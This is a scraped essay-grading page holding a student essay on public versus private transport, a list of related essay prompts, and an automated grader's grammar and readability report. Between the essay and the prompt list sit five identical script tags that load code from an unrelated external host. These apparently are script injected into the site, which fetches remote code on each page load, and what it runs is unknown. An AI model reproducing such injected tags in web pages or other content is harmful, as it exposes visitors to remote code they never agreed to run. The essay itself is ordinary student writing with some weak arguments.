Many people prefer to use public transport while others say that personal cars are the best mode of transportation. Excessive use of private cars is considered to be the main reason for the traffic jam in many cities and that’s why the use of public transportation is encouraged. In your opinion? What are the pros and cons of public transport?
In today’s world, there are many kinds of public transport and especially many people use it. Meanwhile, others think that private cars are the best way. From my perspective, public transport has an important part in our lives because it saves money and is suitable for any living conditions but private cars are still more suitable for people who prefer to go long distances and save money for public transport everyday.
There are several contributing factors to the advantages of public transport. First, public transport is believed to equalize travel opportunities among young people regardless of their family background. This public transport support, presumably, tends not only to increase the overall living standards of lower-income people and especially save their money for paying bills such as water and electricity bills and mitigate their feeling of inferiority or tiredness when they need to drive by themselves after a long day at work, which promotes an active lifestyle society. Second, public transport would result in a reduction of pollution such as air quality and noise damage because people don’t use their own cars and use public transport such as trains or buses or sometimes hire cycling. For example, Japanese or Korean are not the wealthiest nations but there are places where an extensive and well-run network of buses and subways have achieved major success in easing traffic flows despite their huge population. The residents in these countries also praise public transport as a much needed-budget transport option, especially considering the living expanse there are some of the highest in the world, and having to pay for maintenance and parking for their own car on top of the car payments themselves just does not make sense financially for most people.
On the other hand, I suppose there are other bad effects of public transport in this modern world. First, all people using public transport would likely correspond with a tremendous financial strain on a country. Generating no income from car products, companies could become over-reliant on the state budget for funding, meaning that there would be less input to develop other important areas such as healthcare systems and transport infrastructure. Second, public transport would tempt many bad situations especially in a rush hour. People need to wait for a long time to come back home, thereby adding great burdens for traffic jams and having uncomfortable feelings. For instance, Ho Chi Minh city in VietNam always has traffic jams when people use taxis or buses during rush hours.
Apart from the issues mentioned above, some people believe private cars are the best option because they have extremely better emotions even in traffic jams. In addition, having their own cars could help them to spend their money on suitable paths in their lives.
In conclusion, public transport is still the future of transport despite the above limitations. However, having their own cars is still essential for people who prefer convenience and comfort.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
- Some countries achieve international success by building specialized facilities to train top athletes instead of providing sports facilities that everyone can use Is it a positive or negative development 84
- The two maps illustrate the changes of a school campus from 1995 to 2012 Summarise the information by selecting and reporting the main features and make comparisons where relevant 84
- The maps show the changes a bookstore in 200 and now Summarize the information by selecting and reporting main features relevant 73
- If people could choose between a life without work and spending most of their time working they could always choose not to work To what extent do you agree or disagree 73
- The graph below shows the sale of five types of items in four different seasons in a departmental store in the US in 2011 Summarizes the information by selecting and reporting the main features and makes comparisons where relevant 78
Grammar and spelling errors:
Line 1, column 413, Rule ID: EVERYDAY_EVERY_DAY[3]
Message: 'Everyday' is an adjective. Did you mean 'every day'?
Suggestion: every day
...ces and save money for public transport everyday. There are several contributing facto...
^^^^^^^^
Line 3, column 20, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...y for most people. On the other hand, I suppose there are other bad effects of ...
^
Line 4, column 121, Rule ID: HAVE_PART_AGREEMENT[2]
Message: Possible agreement error -- use past participle here: 'bettered', 'welled'.
Suggestion: bettered; welled
...best option because they have extremely better emotions even in traffic jams. In addit...
^^^^^^
Transition Words or Phrases used:
also, but, first, however, if, second, so, still, well, while, apart from, for example, for instance, i suppose, in addition, in conclusion, such as, on the other hand
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 14.0 13.1623246493 106% => OK
Auxiliary verbs: 8.0 7.85571142285 102% => OK
Conjunction : 22.0 10.4138276553 211% => Less conjunction wanted
Relative clauses : 8.0 7.30460921844 110% => OK
Pronoun: 25.0 24.0651302605 104% => OK
Preposition: 53.0 41.998997996 126% => OK
Nominalization: 7.0 8.3376753507 84% => OK
Performance on vocabulary words:
No of characters: 2561.0 1615.20841683 159% => OK
No of words: 487.0 315.596192385 154% => Less content wanted.
Chars per words: 5.25872689938 5.12529762239 103% => OK
Fourth root words length: 4.69766713281 4.20363070211 112% => OK
Word Length SD: 2.64550667442 2.80592935109 94% => OK
Unique words: 259.0 176.041082164 147% => OK
Unique words percentage: 0.5318275154 0.561755894193 95% => More unique words wanted or less content wanted.
syllable_count: 783.0 506.74238477 155% => OK
avg_syllables_per_word: 1.6 1.60771543086 100% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 2.0 5.43587174349 37% => OK
Article: 1.0 2.52805611222 40% => OK
Subordination: 0.0 2.10420841683 0% => More adverbial clause wanted.
Conjunction: 1.0 0.809619238477 124% => OK
Preposition: 6.0 4.76152304609 126% => OK
Performance on sentences:
How many sentences: 19.0 16.0721442886 118% => OK
Sentence length: 25.0 20.2975951904 123% => The Avg. Sentence Length is relatively long.
Sentence length SD: 89.3861491312 49.4020404114 181% => OK
Chars per sentence: 134.789473684 106.682146367 126% => OK
Words per sentence: 25.6315789474 20.7667163134 123% => OK
Discourse Markers: 8.78947368421 7.06120827912 124% => OK
Paragraphs: 5.0 4.38176352705 114% => OK
Language errors: 3.0 5.01903807615 60% => OK
Sentences with positive sentiment : 10.0 8.67935871743 115% => OK
Sentences with negative sentiment : 5.0 3.9879759519 125% => OK
Sentences with neutral sentiment: 4.0 3.4128256513 117% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.426377067878 0.244688304435 174% => OK
Sentence topic coherence: 0.14877018511 0.084324248473 176% => OK
Sentence topic coherence SD: 0.0737872110963 0.0667982634062 110% => OK
Paragraph topic coherence: 0.25555059139 0.151304729494 169% => OK
Paragraph topic coherence SD: 0.101170007033 0.056905535591 178% => OK
Essay readability:
automated_readability_index: 16.2 13.0946893788 124% => OK
flesch_reading_ease: 46.1 50.2224549098 92% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 13.0 11.3001002004 115% => OK
coleman_liau_index: 13.52 12.4159519038 109% => OK
dale_chall_readability_score: 8.73 8.58950901804 102% => OK
difficult_words: 119.0 78.4519038076 152% => OK
linsear_write_formula: 11.0 9.78957915832 112% => OK
gunning_fog: 12.0 10.1190380762 119% => OK
text_standard: 9.0 10.7795591182 83% => OK
What are above readability scores?
---------------------
Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.